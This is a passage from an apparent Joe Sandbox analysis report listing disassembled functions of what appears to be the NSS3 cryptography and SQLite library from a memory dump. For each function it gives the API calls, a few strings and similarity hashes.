Part of subcall function 6CF70930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CF70C83), ref: 6CF70974
Part of subcall function 6CF70930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70983
Part of subcall function 6CF70930: _PR_MD_UNLOCK.NSS3(?,?,6CF70C83), ref: 6CF7099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF7087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF70892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF708AA
free.MOZGLUE(?,00000000,00000000,?,?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF708C7
free.MOZGLUE(?,00000000,00000000,?,?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF708E9
free.MOZGLUE(?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF708EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF7090E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 230a8a75898c9185c2b279034a24ffa9613779ff8fe5f7cee636de938ac17f35
Instruction ID: c6b66aad345eaa7ba26d2242f0ea6dbf51e40354458f86e9c48346e80c5d637a
Opcode Fuzzy Hash: 230a8a75898c9185c2b279034a24ffa9613779ff8fe5f7cee636de938ac17f35
Instruction Fuzzy Hash: 9411B2B1F122404BFF50AB58E8857473778AF86258F184135E41697B40DBB2EA24DBE6

Function 6CE63C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CED460B,?,?), ref: 6CE63CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE63CB9
PL_HashTableLookup.NSS3(?), ref: 6CE63CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE63CD6
PR_Unlock.NSS3 ref: 6CE63CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE63CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE63D03
PR_Unlock.NSS3 ref: 6CE63D15

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 39ea4c555f555781e574233db0a5174492a04803bdcd996cf1a6cce2a1290d09
Instruction ID: eaaff50ac9ca53b109546e336ec672b5957d5bda169f5fdfbe3d27cffc20e1c4
Opcode Fuzzy Hash: 39ea4c555f555781e574233db0a5174492a04803bdcd996cf1a6cce2a1290d09
Instruction Fuzzy Hash: 4E11EC7AFA050567DB011725DC05AAB3B78EF0225CB354135ED1853B12F732DA68D7D1

Function 6CE69C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE811C0: PR_NewLock.NSS3 ref: 6CE81216

free.MOZGLUE(?), ref: 6CE69E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE69E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE69E4E
TlsGetValue.KERNEL32 ref: 6CE69EA2

Part of subcall function 6CE79500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE79546

EnterCriticalSection.KERNEL32(?), ref: 6CE69EB6
PR_Unlock.NSS3 ref: 6CE69ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE69F18

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: d711a51073fe7ce2cf1538b7a54be428eaf4e2a57e55f903a87b37a66edf5f9d
Instruction ID: 9a4a69788b280e43444f5fc612e38e1fb908b8442985ba5f7449651f0323353c
Opcode Fuzzy Hash: d711a51073fe7ce2cf1538b7a54be428eaf4e2a57e55f903a87b37a66edf5f9d
Instruction Fuzzy Hash: FF81EEB1A10601ABEB109F35DC41AABB7B9BF4524CF24452DE85987F01FB31E919C7A2

Function 6CE7DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE7AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE81397,5B5F5EC0,?,?,6CE7B1EE,2404110F,?,?), ref: 6CE7AB3C
Part of subcall function 6CE7AB10: free.MOZGLUE(D958E836,?,6CE7B1EE,2404110F,?,?), ref: 6CE7AB49
Part of subcall function 6CE7AB10: DeleteCriticalSection.KERNEL32(5D5E6D07), ref: 6CE7AB5C
Part of subcall function 6CE7AB10: free.MOZGLUE(5D5E6CFB), ref: 6CE7AB63
Part of subcall function 6CE7AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE7AB6F
Part of subcall function 6CE7AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE7AB76

TlsGetValue.KERNEL32 ref: 6CE7DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE7DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE7DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE7DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7DEA6
PR_Unlock.NSS3(?), ref: 6CE7DF08

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 931d8c916f0873965bfd91a651190b544d0e5abafdff4f15deec6226cac6535b
Instruction ID: 3db5ab6d4e77b0067179109f5c6743e17ab37259749bf19eb837b6238a49efe4
Opcode Fuzzy Hash: 931d8c916f0873965bfd91a651190b544d0e5abafdff4f15deec6226cac6535b
Instruction Fuzzy Hash: F491B1B9E001059BDB21CF64D881BAAB7B5EF5430CF348129DD19AB741E731EA16CBB1

Function 6CDE4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDE4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE51BB

Strings

misuse, xrefs: 6CDE51AF
%s at line %d of [%.10s], xrefs: 6CDE51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE51A5
unable to delete/modify user-function due to active statements, xrefs: 6CDE51DF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: b0cce2d5b281a561ca23a326a8f1eef3388c6d69dabd84f64589068b5bb10f72
Instruction ID: 1cb00033da1b5c9fb92e4e88733cfb1a64acf3550284363b2d2c3e601178ea2e
Opcode Fuzzy Hash: b0cce2d5b281a561ca23a326a8f1eef3388c6d69dabd84f64589068b5bb10f72
Instruction Fuzzy Hash: FA71ACB5A0420ADFEB00CF55CC80B9A77B5BF4C398F144125FD199BAA1E735E950CBA1

Function 6CE52D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE52D69

Strings

winSeekFile, xrefs: 6CE52E9C
winUnmapfile2, xrefs: 6CE52F7F
winTruncate2, xrefs: 6CE52EF8
winTruncate1, xrefs: 6CE52EBE
winUnmapfile1, xrefs: 6CE52F55

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: b205c87010cb8d9240176be1a34d3ae61172a0253bb7d539b6649910ca2ea124
Instruction ID: 16511f4a5d32d8212902d1ecf253b0091292b368f3a53b68390abf0650801f9d
Opcode Fuzzy Hash: b205c87010cb8d9240176be1a34d3ae61172a0253bb7d539b6649910ca2ea124
Instruction Fuzzy Hash: FC61C171B402049FDB44CF68DC84B6A7BB1FF4A314F64812CE919AB790DB36AD16CB91

Function 6CED29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CED21DD,00000000), ref: 6CED2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CED21DD,00000002,00000000,00000000,?,?,6CED21DD,00000000), ref: 6CED2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CED21DD,00000000), ref: 6CED2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CED2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CED2B0D
PK11_FreeSymKey.NSS3(?), ref: 6CED2B7B
PK11_FreeSymKey.NSS3(?), ref: 6CED2BD6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 87b570503f6ce340fc8ac3253c2cfffae6e1fdbee056cd73dc46842a49d31d6d
Instruction ID: 12845f985858565e194dd311c172c60dd13282a5d94a97237de18c602244a181
Opcode Fuzzy Hash: 87b570503f6ce340fc8ac3253c2cfffae6e1fdbee056cd73dc46842a49d31d6d
Instruction Fuzzy Hash: AD51F371E003069BEB108EA5DC84BAA77B5AF5431CF360168ED19AB791E731FD078B91

Function 6CE8DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE8DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE8DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE8E02B
PR_Unlock.NSS3(?), ref: 6CE8E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE8E090
PR_Unlock.NSS3(?), ref: 6CE8E0AF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: dcd7c964e395e7bd9ed8b2192439fbc79773d5f7a084fc9bdd8739f6f0b72167
Instruction ID: af4759430fa512161383419a9922af274f802ec679c8855e44c6445d3c9e7d0c
Opcode Fuzzy Hash: dcd7c964e395e7bd9ed8b2192439fbc79773d5f7a084fc9bdd8739f6f0b72167
Instruction Fuzzy Hash: EC51AD79A02A009FEB209F24D845B6773B5BF45318F304929E85E87FA1D731E949CB92

Function 6CE8BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE8BD1E

Part of subcall function 6CE62F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE62F0A
Part of subcall function 6CE62F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE62F1D

Part of subcall function 6CEA57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE6B41E,00000000,00000000,?,00000000,?,6CE6B41E,00000000,00000000,00000001,?), ref: 6CEA57E0
Part of subcall function 6CEA57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEA5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE8BD8C

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE8BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE8BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8BE3A

Part of subcall function 6CE63E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE63EC2
Part of subcall function 6CE63E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE63ED6
Part of subcall function 6CE63E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE63EEE
Part of subcall function 6CE63E60: PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE63F02
Part of subcall function 6CE63E60: PL_FreeArenaPool.NSS3 ref: 6CE63F14
Part of subcall function 6CE63E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE63F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8BE52

Part of subcall function 6CE62E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE62CDA,?,00000000), ref: 6CE62E1E
Part of subcall function 6CE62E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE62E33
Part of subcall function 6CE62E00: TlsGetValue.KERNEL32 ref: 6CE62E4E
Part of subcall function 6CE62E00: EnterCriticalSection.KERNEL32(?), ref: 6CE62E5E
Part of subcall function 6CE62E00: PL_HashTableLookup.NSS3(?), ref: 6CE62E71
Part of subcall function 6CE62E00: PL_HashTableRemove.NSS3(?), ref: 6CE62E84
Part of subcall function 6CE62E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE62E96
Part of subcall function 6CE62E00: PR_Unlock.NSS3 ref: 6CE62EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8BE61

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 117b47aef693315fbb5af973a2e8aad3273a3c108fdaba7b3a21cbf7677993a8
Instruction ID: 0b7f405f8610fcea081196169f2c189fa2c34ee8f0b690161b1260f94321fb2f
Opcode Fuzzy Hash: 117b47aef693315fbb5af973a2e8aad3273a3c108fdaba7b3a21cbf7677993a8
Instruction Fuzzy Hash: D641C0B6E01610AFD710CF28DC80A6A77F4EB45718F244168F90DAB752E735E908CBA2

Function 6CE76980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CE75DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75DEC
Part of subcall function 6CE75DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE75E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE769BA

Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE69003,?), ref: 6CEBFD91
Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(A4686CEC,?), ref: 6CEBFDA2
Part of subcall function 6CEBFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEC,?,?), ref: 6CEBFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE76A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE76AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE76ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE76AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE76AE9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 1b5c08c661d5ef7c13e33f6c34edc04900a5e243ddab3aaeefadbf242ffe3d61
Instruction ID: 743f0ad4cd405608f9458d7036104df02707011660aa052f8068831547ffb66c
Opcode Fuzzy Hash: 1b5c08c661d5ef7c13e33f6c34edc04900a5e243ddab3aaeefadbf242ffe3d61
Instruction Fuzzy Hash: 7C418E71A806019BEB249F28EC45BA777FDBF45358F288428E85AD7340EF31E911C7A1

Function 6CEAAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CEAAB3E,?,?,?), ref: 6CEAAC35

Part of subcall function 6CE8CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE8CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CEAAB3E,?,?,?), ref: 6CEAAC55

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CEAAB3E,?,?), ref: 6CEAAC70

Part of subcall function 6CE8E300: TlsGetValue.KERNEL32 ref: 6CE8E33C
Part of subcall function 6CE8E300: EnterCriticalSection.KERNEL32(?), ref: 6CE8E350
Part of subcall function 6CE8E300: PR_Unlock.NSS3(?), ref: 6CE8E5BC
Part of subcall function 6CE8E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE8E5CA
Part of subcall function 6CE8E300: TlsGetValue.KERNEL32 ref: 6CE8E5F2
Part of subcall function 6CE8E300: EnterCriticalSection.KERNEL32(?), ref: 6CE8E606
Part of subcall function 6CE8E300: PORT_Alloc_Util.NSS3(?), ref: 6CE8E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CEAAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEAAB3E), ref: 6CEAACD7
PORT_Alloc_Util.NSS3(?), ref: 6CEAAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CEAAD2B

Part of subcall function 6CE8F360: TlsGetValue.KERNEL32(00000000,?,6CEAA904,?), ref: 6CE8F38B
Part of subcall function 6CE8F360: EnterCriticalSection.KERNEL32(?,?,?,6CEAA904,?), ref: 6CE8F3A0
Part of subcall function 6CE8F360: PR_Unlock.NSS3(?,?,?,?,6CEAA904,?), ref: 6CE8F3D3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: bce2ce69593e89f817a505edb931bd626a8da9cc18fd9313b73fbb721d16b512
Instruction ID: 85e3459f0aeebe82cb612cd6e4cb3070ffc144c4480214d55a50d277b67c12be
Opcode Fuzzy Hash: bce2ce69593e89f817a505edb931bd626a8da9cc18fd9313b73fbb721d16b512
Instruction Fuzzy Hash: EF312AB1E407056FEB008FA5DC409AF7676EF8571CB29852CE8196B740EB31DD068BA1

Function 6CE88C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE88C7C

Part of subcall function 6CF29DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DC6
